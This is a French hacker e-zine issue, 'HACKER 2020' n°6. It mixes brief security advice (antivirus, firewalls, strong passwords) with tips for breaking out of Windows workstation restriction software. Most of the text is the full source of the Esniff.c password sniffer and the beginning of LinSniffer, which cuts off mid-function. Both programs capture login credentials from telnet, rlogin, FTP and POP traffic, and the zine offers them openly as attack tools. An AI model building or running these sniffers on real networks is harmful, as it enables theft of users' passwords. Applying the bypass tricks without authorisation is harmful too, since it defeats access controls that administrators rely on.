HACKER 2020
ISSUE N°6, par Clad Strife

   Disclaimer: vous agissez comme vous le voulez je ne saurais être tenu (ni moi, ni personne, sauf vous) des actes immodérés que vous ferez avec les informations qui vont vous être fournies.

   Introduction: c'est sympa de recevoir des e-mails de gens qui apprécient les 'HACKER 2020', mais quand je leur demande s'ils connaissent les autres zines, la réponse reste presque toujours négative: ces zines sont lus un peu partout sauf sur mon site; allez savoir pourquoi: alors je mets ce lien: http://www.multimania.com/hackworldclan, voilà ça m'évitera d'avoir une boite mail pleine à craquer. Je tiens aussi à dire, que si vous avez pas pigé ce qui est écrit dans le zine ça sert à rien de vous casser le crâne dessus, soit vous n'avez pas le niveau requis (les zines deviennent de plus en plus compliqué je l'avoue), ou bien c'est que je fais des fautes grosses comme des maisons, mais le fruit de mes déductions est l'objet de recherches, alors en général c'est pas trop ça. Sur ce je vous souhaite une bonne lecture.
 
 

   SOMMAIRE:
 

  1. OS: Windows 3.x n'est pas un système d'exploitation.
  2. Sécurisez-vous et sécurisez votre réseau
  3. Les sniffers
  4. Spoofing
  5. Attaques par Telnet
  6. Scanners
  7. Programmation: virus en .bat
  8. Failles de sécurité
  9. Hades, Cracker Jack...: perçage de mots de passe pour les stations Unix
  10. Proxys: changer de proxy ou en mettre un ça sert à quoi?
  11. Quelques textes traduits par Clad Strife
  12. Le terminal X
  13. Dossier IRC
  14. Le SCSSI
  15. Discussion avec un lamer


I/ OS: Windows 3.x n'est pas un système d'exploitation

   Les utilisateurs Linux se doivent de comprendre Linux/UNIX, et en général c'est le cas. Ca l'est moins pour les utilisateurs Windows 3.x. Unix est un système d'exploitation, ce qui permet à ce système d'exploitation de tourner sont les shells. Un shell est un environnement dans lequel des commandes peuvent-être tapées éxécutées, puis seront retranscrites de manière à être éxécutées par la machine. Sous DOS, le shell est command.com. Pour mieux comprendre on va faire un peu d'histoire. Au début (1960) des premiers pas des réseaux, chacun croyait que l'ennemi allait lacher ses bombes atomiques. Le but était de créer un réseau résistant à une attaque nucléaire massive. L'idée de créer un réseau militaire est née. Ce réseau se développa jusqu'à avoir le nom d'ARPANET, et en 1969 il fut mis en place. La même année, un gars du nom de Ken Thompson développa le système d'exploitation qu'est UNIX. UNIX était très basic: pas de couleur, froid, c'était dès lors LE système d'exploitation qui ne servait qu'à gérer des applications. Actuellement UNIX est géré par un système de fenêtrage appelé X-WINDOW (il y en a beaucoup d'autres), c'est le plus puissant et le meilleur système de fenêtrage qui existe actuellement sur UNIX. Donc cette interface est graphique est permet d'utiliser UNIX, dans une plus grande simplicité. C'est la même chose pour Windows 3.x: système de fenêtrage, système d'exploitation (DOS), et le shell: command.com. Ne faites pas l'erreur de demander à quelqu'un si il tourne sous Windows 3.x comme système d'exploitation (même les informaticiens font la faute).
 
 

II/ Sécurisez-vous et sécurisez votre réseau

   D'abord on va expliquer comment vous sécuriser. Il faut bien comprendre qu'aucune sécurité n'est efficace à 100%, mais les astuces qui vous seront fournis dans le texte à suivre vont vous permettre de rebuter foules d'attaques.
 

   Un trojan est le terme employé pour désigner BackDoor. En fait on devrait appeler trojan, un programme (presque virus) qui s'infiltre à l'insu d'un utilisateur pour foutre son merdier, selon ses capacités. Une BackDoor fonctionnant presque sur le même principe, le terme a été généralisé, et ce n'est plus une erreur de dire "trojan" (ou troyan, ou troyen au pluriel), à la place de BackDoor. Le trojan a la particularité de créer une voie d'accès à votre système: c'est d'ailleurs l'un des moyens les plus simples (en général les lamers aiment bien ce genre de programmes juste pour faire joujou), et les plus rapide et efficace de créer une faille vers votre système: en effet une fois le trojan (appelé partie serveur) éxcécuté, l'attaquant peut directement se connecter sur votre système avec la partie client. Actuellement les trojans les plus usités sont: Back Orifice (et Back Orifice 2000), Netbus (1.3, 1.7, 2.0), Subseven 1.3, Socket de Troie etc. Parmis ceux-là on devrait appeler intrus celui qui l'est: Back Orifice. Ce "trojan" ets un réalité un programme (un vrai) qui a été créé dans un but nuisible mais non avoué: en effet il permet d'administrer un réseau plus directement qu'en étant sur le réseau. Bref, ça ne change rien quand à son utilisation nocive.
   Pour éviter de choper un de ces trojans, des programmeurs ont mis au point plusieurs anti-troyens, le plus connu étant le BouffeTroyen. Ce programme détectait une grande quantité des trojans qui pouvaient exister sur votre système, mais comme tout programme, il se fait vieux, et Aiki (son créateur), n'a plus la flegme. Alors se sont suivis des anti-torjans spécifiques: Anti-Socket de Troie, Anti BO, Netbuster... Mais ces programmes ne constituent pas les protections les plus efficaces, mieux vaut prévenir que guérir. ce que font les Firewalls c'ets de détécter une tentative de connection sur les ports surveillés, qui sont ceux par défauts utilisés par les trojans les plus connus. D'autres firewalls, détectent presque toutes les tentatives de connection: ce qui amène a des plantages. Lockdown 2000 est un de la première catégorie: une fois une tentative de connection détectée, il fait un Traceroute (tracert) sur l'IP qui a tenté la connexion et en vous prévenant. Ce merveilleux Firwall scanne aussi la présence d'infections dès son lancement. La meilleure des protections restent les anti-virus qui détectent les trojans pré-repérés, ou encore les programmes qui se définissent à s'inscrire sur le système ou dans d'autres programmes: ainsi les programmes pour détéceter les jeux sont détectés comme infectés. ces anti-virus, vous les connaissez: AVP (AntiViral toolkit Pro) et Norton (la version 2000, qui détecte les trojans, est sortie). Ce sont là les deux meilleurs anti-virus qui sont à disposition de chacun. Un autre truc quand on n'a rien installé et qu'on veut rapidement vérifier si une personne s'est connectée à soi, c'est d'aller sous dos (répertoire C:\windows par défaut) et de taper 'netstat': celà vous affichera tout ce qui est en train de se connecter à vous, sur quel port, et l'IP de la "chose" qui essaye de se connecter. Vous verrez OBLIGATOIREMENT des IP s'afficher, mais stressez pas: c'est normal. Surtout si vous faites de l'ICQ, ou autres.
     Définition rapide d'un virus: programme qui, en général, s'inscrit dans chacun de vos fichiers sur tout votre disque dur. Ca c'est LE virus par excellence. Puis un virus peut-être modifié dans un but nuisible: ça peut aller des simples problèmes d'allumage ou d'extinction au flash du BIOS. Il n'est pas possible de savoir si un programme dissimule un virus. Alors il faut télécharger (ou acheter) des anti-virus: AVP et Norton (par exemple, cependant il est conseillé d'avoir la version 2000 de Norton). Le problème est qu'environ 400 virus (moyenne caculée par ch'ais plus trop qui) sont créés par mois! Heureusement il restent en général discret. Mais celà oblige les posseseurs d'anti-virus à updater leur base de données de virus régulièrement. La moyenne à tenir est de une update par mois. Si vous avez vraiment peur: faites ça toutes les 2 (!) ou 3 semaines. Un virus est un  réel danger pour la sécurité et la maintenance d'un réseau: il n'est pas rare de tomber sur un virus qui se propage à travers un réseau entier, causant à la perte de toutes les données stockées sur le réseau ou pire: celles du réseau voisin s'il y a une connection entre deux réseaux. Certains virus sont vicieux car sont en réalité des macro-instructions (possibilités de les mettre dans les .doc), comme Melissa, et ces macro-instructions, bien que parfois non dangereuses, peuvent l'être. Là aussi un anti-virus est nécessaire.
     Pour commencer à sécuriser un réseau connecté à l'internet (donc réseau local relié au net), il faut d'abor le sécuriser en tant que réseau local: c'est-à-dire que des protections doivent être mises en oeuvre pour éviter qu'un utilisateur de ce réseau ne fasse des manoeuvres dangereuses, éxécute des virus ou des trojans, que ce soit intentionnel ou inintentionnel.
   Le problème des virus est trojan est traité plus haut. Donc on va traiter des erreurs demanipulations ou attaques voulues, de l'intérieur du réseau. Le premier danger est le fait qu'un utiolisateur puisse avoir accès à chaque poste en réseau (dont le serveur), depuis un seul poste. Mettez alors des restrictions (exemple: sous Windows, partagez les répertoires avec accès en mot de passe, ou accès limité), ou mieux: des programmes qui mettes des restrictions qui SEMBLENT incassables. Il existe donc de nombreux programmes qui empêche un utilisateur d'avoir les icones sur le bureau, d'accéder à l'explorateur windows, etc... Mais en réflechissant bien, il y a foule de moyens d'accéder à la session administrateur (le programme ne met plus de restrictions): soit en effaçant complètement le programme, ses .dll, ou en trouvant le pass.
  La première solution requeirt un minimum d'accès à certains programmes, si vosu pouvez accéder à:
- Wordpad: demandez à ouvrir un fichier, non pas .txt ou .doc, mais en *.*  recherchez le programme sécurisant le pc, effacez tout.
- Dans le menu Démarrer, Executer: tapez C: ou D: selon le lecteur mis en cause
- IE, Netscape navigator: dans la barre blanche ou l'on met l'adresse url tapez: C:, ou mieux: Poste de travail. Faites attention car à partir du poste de travail on peut agir sur TOUT!
- Arretez l'ordinateur et demandez à le faire redémarrer en Mode MS-DOS: à partir de là, vous pouvez accéder à tout, sans restrictions.
- Des outils graphiques: au lieu de rechercher à ouvrir un format d'image précis, cherchez en *.* et amusez vous.
- Winzip, ou autres: faites dans Winzip, File - Open Archives et ouvrez en *.*
- etc... Il y a foule de programmes avec lesquels on peut casser une sécurité.
   La deuxième solution requiert à l'utilisateur d'avoir un minimum d'infos sur l'utilisateur, ou encore de trouver les fichiers sensibles (par exemple: il existe des fichiers d'aide -accessibles même en restricted acces grâce aux moyens présentés ci dessus- qui, si on a perdu le mot de passe, explique comment le retrouver!!). Il n'y a pas de réelles solutions dans ce cas là, sauf mettre un pass au BIOS (qui peut toujours se cracker, selon différentes méthodes mais qui demandent du temps), ce qui rebutera même les plus avertis.
     Ca c'est déjà vu, quand vous vous souscrivez sur un hébergeur ou autre, on vous demande de bien choisir votre mot de passe (les webmasters en ont marre de recevoir du courrier expliquant que le site d'Untel a été piraté). Il est conseillé (parfois obligatoire) de prendre un mot de passe à plus de 6, 8 ou 9 lettres. Le 3/4 des utilisateurs font l'erreur de prendre un mot de passe qui correspond à quelque chose: un pseudo, un nom de famille, le nom du chat... Un bon dico, permet à tous les lamers (ceux qui utilisent des crack pass pour satisfaire leurs besoins de soumissions mazochistes et débiles, en hackant des serveurs de pauvre gars qui font chier personnes) de trouver ce pass. Il est conseillé de prendre un password avec: majuscules, minuscules, chiffres.
Ex: RuY54gHEt
Ca peut paraitre long à taper et chiant, mais personne vous oblige à prendre ce pass.
D'autres personnes ont cru bien sécuriser leurs sites ou réseaux ou comptes mails, en ne mettant que des chiffres!
Ex: l'utilisateur X a choisi 121182 comme password pour son site et son compte mail.
Ces chiffres correspondent à des dates, ou a rien du tout: mais un générateur de chiffres peut créer un dico qui trouvera la solution en deux coups de cuillers à pot.
De plus un utilisateur prudent et averti ne devrait jamais prendre un même mot de pass pour les zones sensibles (réseau, site, compte e-mail, etc...)
Dans ces techniques, celle de possession du compte e-mail est la plus dangereuse: il suffit que monsieur X ait enregistré son site à l'adresse xxxx@héhé.com, pour qu'un cracker fasse un retry d'infos, et le pass du site est envoyé sur le compte e-mail... piraté.
     Lors de l'inscription sur un serveur d'hébergement, on vous demande de remplir un formulaire qui correspond à votre profil d'utilisateur (nom, prénom, adresse, etc...). Le mieux à faire est de ne surtout pas mettre ses infos réelles, mais des infos bidons. Pour deux raisons:
- Le serveur peut-être amené à faire des listing d'utilisateurs, et les diffuser à d'autres serveurs avec lesquels ils travaillent...
- Des failles permettent d'exploiter ces informations, (c.f. le cas de Multimania dans Nopeace2, sur le site hackworldclan).
de plus il est conseillé de ne pas souscrire à de mailing lists ou de newslists, etc... des utilisateurs malveillants pourraient dresser un profil de votre personnalité.

Conclusion: cet article est court, mais il est récapitulatif de ce que vous devez savoir pour minimiser les risques de piratage. En réalité, expliquer en profondeur comment sécuriser un réseau (protections par firewalls, savoir connecter quel routeur sur quel proxy, etc...), est BEAUCOUP trop long, et celà ne m'intéresse pas forcément d'apprendre aux gens à sécuriser un réseau (peu d'administrateurs réseaux lisent les articles des e-zines nommés HACKER 2020, sauf s'ils sont passionnés par le sujet).
 
 

III/ Les sniffers

   Qu'est-ce qu'est un sniffer: un sniffer est un outil qui permet de choper un packet qui circule sur un réseau. Chaque sniffer s'occupe d'un protocole, ou bien un sniffer de plusieurs protocoles prédéfinis. Le sniffer enregistre une copie de chaque packet qui sort ou entre sur le disque dur auquel il doit rendre des comptes. Mais comme ces packets peuvent constituer de grosses trames, il serait stupide de remplir son disque inutilement. Alors les sniffer vont faire un choix sélectif parmis tous ces packets. En effet: un réseau transmet en moyenne quelques milliers de packets par heure. Voyez le résultat pour une journée. Alors en plus de la sélection un sniffer ne va capturer qu'une petite partie de la trame: les premieres centaines d'octets (300 ou 400 en général); Pas plus car c'est dans ces octets que se trouvent l'identifiant et le password d'un utilisateur. Ainsi un packet sortant de la machine X, qui est intercepté par le hacker Y, permet au hacker Y d'avoir accès à la machine X. D'autres sniffers permettent à un administrateur réseau de découvrir les points faibles de son réseau et s'il s'y trouve des problèmes.
   Les sniffers fonctionnent sous Linux/UNIX ou parfois sous Windows et sont, soit en vente (réservé aux professionels), soit téléchargeable à partir de sites spécialisés. Ci-dessous une petite liste de quelques sniffers vendus en commerce:

Il y en a beaucoup d'autres, mais les recenser tous demanderait un travail monstre et un peu inutile. D'autant plus qu'après la liste des sniffers payants, voici les non-payants, comme dis plus haut, plus pour UNIX que pour Windows: /* Esniff.c */

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char    *malloc();
char    *device,
        *ProgName,
        *LogName;
FILE    *LOG;
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
     struct CREC *Next,
                 *Last;
     time_t  Time;              /* start time */
     struct in_addr SRCip,
                    DSTip;
     u_int   SRCport,           /* src/dst ports */
             DSTport;
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
     u_long  LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
   }
   return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}

char *NOWtm()
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
            break;
    CLr = CLr->Next;
  }
  return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
}

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                        NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }

   fprintf(LOG,"\n-- \n");
   fflush(LOG);

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
   else
    CLroot = CLe->Next;
   free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
     } \
  } \
}

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
 register struct ip     *ip;
 register struct tcphdr *tcph;

 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;
   }

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return;
 }

    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
 tcph = (struct tcphdr *)(Packet + IPHLEN);

 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_LOGINSERVER) ||
   )) return;

 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;

   p += ((IPHLEN * 4) + (TCPOFF * 4));

 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
 }

   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

      CLm->PKcnt++;

      if(length>0)
        if( (CLm->Length + length) < MAXBUFLEN ) {
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");
        }

      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
      }

   } else {

      if(TCPFL(TH_SYN)) {
         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
      }

   }

   IDLE_NODE();

 }

}

/* signal handler
 */
void death()
{ register struct CREC *CLe;

    while(CLe=CLroot)
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
        fclose(LOG);
    exit(1);
}

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
 */
void do_it()
{
    int cc;
    char *buf;
    u_short sp_ts_len;

    if(!(buf=malloc(CHUNKSIZE)))
        Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
  {
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)&ifr;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");
  }

    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
        register char *bp = buf,
                      *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;

            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(struct nit_bufhdr);
            bp += hdrp->nhb_totlen;
            filter(cp, (u_long)hdrp->nhb_msglen);
        }
    }
    Pexit((-1),"Eth: read");
}
 /* Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];

    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
    if(strcmp(pwd,crypt(buf,pwd)))
        exit(1);
}
    */
void main(argc, argv)
int argc;
char **argv;
{
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,
           ac=1,
           backg=0;

    ProgName=argv[0];

 /*     getauth(); */

    LOG=NULL;
    device=NULL;
    while((ac<argc) && (argv[ac][0] == '-')) {
       register char ch = argv[ac++][1];
       switch(toupper(ch)) {
            case 'I': device=argv[ac++];
                      break;
            case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
                         Zexit(1,"Output file cant be opened\n");
                      break;
            case 'B': backg=1;
                      break;
            case 'D': debug=1;
                      break;
            default : fprintf(ERR,
                        "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
                            ProgName);
                      exit(1);
       }
    }

    if(!device) {
        if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
            Pexit(1,"Eth: socket");

        ifc.ifc_len = sizeof(cbuf);
        ifc.ifc_buf = cbuf;
        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
            Pexit(1,"Eth: ioctl");

        close(s);
        device = ifc.ifc_req->ifr_name;
    }

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

    if(!LOG)
        LOG=stdout;

    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);

    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");
         backg=0;
    }

    if(backg) {
        register int s;

        if((s=fork())>0) {
           fprintf(ERR,"[pid %d]\n",s);
           exit(0);
        } else if(s<0)
           Pexit(1,"fork");

        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
                close(s);
        }
    }
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
    fflush(LOG);

    do_it();
}
 

/*
LinSniffer 0.02 [BETA]
Mike Edulla
medulla@infosoc.com
DO NOT REDISTRIBUTE
*/
 

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
 

int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
 

struct etherpacket
{
   struct ethhdr eth;
   struct iphdr  ip;
   struct tcphdr tcp;
   char buff[8192];
}ep;

struct
{
   unsigned long      saddr;
   unsigned long      daddr;
   unsigned short     sport;
   unsigned short     dport;
   int                bytes_read;
   char               active;
   time_t             start_time;
} victim;

struct iphdr  *ip;
struct tcphdr *tcp;

#define CAPTLEN 512
#define TIMEOUT 30
 

int openintf(char *d)
{
   int fd;
   struct ifreq ifr;
   int s;
   fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
   if(fd < 0)
   {
      perror("cant get SOCK_PACKET socket");
      exit(0);
   }
   strcpy(ifr.ifr_name, d);
   s=ioctl(fd, SIOCGIFFLAGS, &ifr);
   if(s < 0)
   {
      close(fd);
      perror("cant get flags");
      exit(0);
   }
   ifr.ifr_flags |= IFF_PROMISC;
   s=ioctl(fd, SIOCSIFFLAGS, &ifr);
   if(s < 0) perror("cant set promiscuous mode");
   return fd;
}

int read_tcp(int s)
{
   int x;
   while(1)
   {
      x=read(s, (struct etherpacket *)&ep, sizeof(ep));
      if(x > 1)
      {
         if(filter()==0) continue;
         x=x-54;
         if(x < 1) continue;
         return x;
      }
   }
}

int filter(void)
{
   int p;
   p=0;
   if(ip->protocol != 6) return 0;
   if(victim.active != 0)
      if(victim.bytes_read > CAPTLEN)
      {
         printf("\n----- [CAPLEN Exceeded]\n");
         clear_victim();
         return 0;
      }
   if(victim.active != 0)
      if(time(NULL) > (victim.start_time + TIMEOUT))
      {
         printf("\n----- [Timed Out]\n");
         clear_victim();
         return 0;
      }
   if(ntohs(tcp->dest)==21)  p=1; /* ftp */
   if(ntohs(tcp->dest)==23)  p=1; /* telnet */
   if(ntohs(tcp->dest)==110) p=1; /* pop3 */
   if(ntohs(tcp->dest)==109) p=1; /* pop2 */
   if(ntohs(tcp->dest)==143) p=1; /* imap2 */
   if(ntohs(tcp->dest)==513) p=1; /* rlogin */
   if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
   if(victim.active == 0)
      if(p == 1)
         if(tcp->syn == 1)
         {
            victim.saddr=ip->saddr;
            victim.daddr=ip->daddr;
            victim.active=1;
            victim.sport=tcp->source;
            victim.dport=tcp->dest;
            victim.bytes_read=0;
            victim.start_time=time(NULL);
            print_header();
         }
   if(tcp->dest != victim.dport) return 0;
   if(tcp->source != victim.sport) return 0;
   if(ip->saddr != victim.saddr) return 0;
   if(ip->daddr != victim.daddr) return 0;
   if(tcp->rst == 1)
   {
      victim.active=0;
      alarm(0);
      printf("\n----- [RST]\n");
      clear_victim();
      return 0;
   }
   if(tcp->fin == 1)
   {
      victim.active=0;
      alarm(0);
      printf("\n----- [FIN]\n");
      clear_victim();
      return 0;
   }
   return 1;
}
 

int print_header(void)
{
   puts(" ");
   printf("%s => ", hostlookup(ip->saddr));
   printf("%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}

int print_data(int datalen, char *data)
{
   int i=0;
   int t=0;

   victim.bytes_read=victim.bytes_read+datalen;
